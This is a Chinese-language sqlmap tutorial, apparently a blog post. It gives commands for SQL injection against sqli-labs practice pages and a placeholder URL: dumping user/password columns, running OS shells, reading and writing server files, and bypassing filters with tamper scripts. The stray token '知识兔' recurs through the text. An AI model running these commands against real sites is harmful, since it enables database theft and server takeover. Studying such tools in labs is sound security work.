附上一个别人总结的:https://www.cnblogs.com/ichunqiu/p/5805108.html
一套基础的sqlmap语句:
python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db)
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dumps
知识兔用到的参数
--technique sqlmap中的注入技术
--batch 默认选择,自动运行
--current-db 当前数据库
--current-user 当前数据库用户名
--is-dba 查看当前用户是否为管理员权限
--data post型注入时的post数据
--threads 最大并发线程(不要超过10)
-r 跟http请求头的头部文件.txt
--cookie cookie注入
--level 探测等级,3最好,5最全面
--sql-shell 运行自定义sql语句
--os-shell 运行操作系统命令
--file-read 从数据库中读取文件
--file-write "本机路径" --file-dest "服务器路径" 上传文件
--tamper 跟自带绕过脚本
知识兔0x01 --technique参数
—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布尔型盲注)
E:Error-based (报错型注入)
U:Union query-based (联合注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
知识兔例如sqlmap语句:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch
知识兔0x02 --data参数和--threads参数
post注入时,post的数据就放在--data后,--threads加快跑的速率,不要超过10
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
--technique UES
--dbms mysql --dbs --threads 8
知识兔0x03 -r参数
将HTTP请求包的内容放在一个txt文件里面,cookie可以不用放,然后-r跟上txt文件的路径,让sqlmap自动跑,这里要注意将可能出现sql注入的请求参数的值后面要跟上”*“符号
python sqlmap.py -r 1.txt --dbs --threads 8 --technique BTES
或者
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-18/" --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST
知识兔如果知道sql注入的确切位置,那么这里可以直接使用第二种方式注入
0x04 --cookie参数
web应用基于cookie的身份验证,对于post请求,可以指定cookie,cookie注入时直接使用这个参数
知识兔sqlmap -u "url" --cookie="..." --level 3 –-dbs